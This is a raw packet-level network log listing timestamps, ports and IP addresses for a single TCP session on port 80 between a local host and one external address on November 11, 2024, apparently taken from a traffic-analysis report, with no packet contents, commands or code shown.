Nov 11, 2024 12:40:08.181932926 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182183981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182195902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182208061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182219028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182229042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182229042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182240963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182251930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182254076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182261944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182267904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182280064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182291985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182300091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182302952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182316065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182324886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182327986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182341099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182342052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182353020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182363987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182364941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182379007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182390928 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182404995 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182413101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182425022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182431936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182436943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182446957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182447910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182461023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182462931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182471991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182478905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182483912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182497025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182508945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182507992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182521105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182523012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182535887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182550907 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182578087 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182585955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182598114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182607889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182619095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182621002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182631016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182642937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182651043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182657003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182672024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182677984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182682991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182694912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182696104 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182707071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182718992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182722092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182732105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182742119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182750940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182751894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182763100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182766914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182779074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182790041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182796001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182802916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182812929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182821989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182825089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182837009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.182838917 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182863951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.182889938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183492899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183506012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183516979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183527946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183538914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183540106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183549881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183562040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183564901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183573961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183578968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183588982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183599949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183599949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183613062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183629036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183631897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183645010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183653116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183656931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183662891 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183671951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183682919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183693886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183693886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183707952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183717966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183717966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183729887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183737040 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183743954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183756113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183767080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183768988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183779001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183779955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183792114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183801889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183804989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183816910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183816910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183829069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183845043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183850050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183861971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183870077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183872938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183886051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183886051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183898926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183911085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183911085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183926105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183938026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183938980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183948994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183958054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183962107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183976889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.183979034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.183989048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184000969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184005976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184011936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184024096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184031963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184036016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184050083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184062958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184063911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184071064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184077978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184089899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184101105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184102058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184124947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184127092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184137106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184139967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184149027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184159994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184170008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184174061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184181929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184192896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184204102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184206009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184221983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184225082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184232950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184243917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184243917 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184258938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184267998 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184279919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184289932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184297085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184299946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184319019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184322119 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184329987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184340954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184343100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184355974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184366941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184367895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184377909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184391975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184396982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184408903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184411049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184421062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184432030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184432983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184443951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184456110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184459925 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184468985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184478045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184484005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184494019 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184495926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184508085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184519053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184525967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184531927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184544086 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184545040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184557915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184568882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184571028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184581041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184585094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184592962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184602976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184612989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184613943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184623957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184634924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184643984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184647083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184659004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184662104 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184670925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184679985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184684038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184694052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184695959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184710026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184720039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184720993 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184732914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184745073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184748888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184756994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.184767008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184782028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.184807062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287702084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287739992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287753105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287765026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287769079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287781000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287791014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287802935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287815094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287818909 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287827015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287838936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287857056 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287858009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287870884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287880898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287884951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287899971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287904024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287918091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287925959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287930012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.287955046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287975073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.287987947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288002014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288013935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288031101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288058996 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288703918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288717031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288728952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288742065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288753033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288754940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288768053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288778067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288781881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288793087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288796902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288805008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288816929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288830042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288831949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288841963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288861036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288863897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288872957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288882971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288886070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288898945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288907051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288911104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288935900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288954020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.288979053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.288990974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289000988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289014101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289021969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289026022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289037943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289055109 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289056063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289066076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289068937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289082050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289098024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289098024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289112091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289123058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289128065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289135933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289146900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289146900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289164066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289175034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289186001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289194107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289196968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289215088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289231062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289232969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289239883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289243937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289258957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289271116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289273977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289299965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289314985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289365053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289377928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289387941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289398909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289406061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289417982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289423943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289429903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289447069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289453983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:08.289468050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:08.289474010 CET	49709	80	192.168.2.6	185.215.113.206
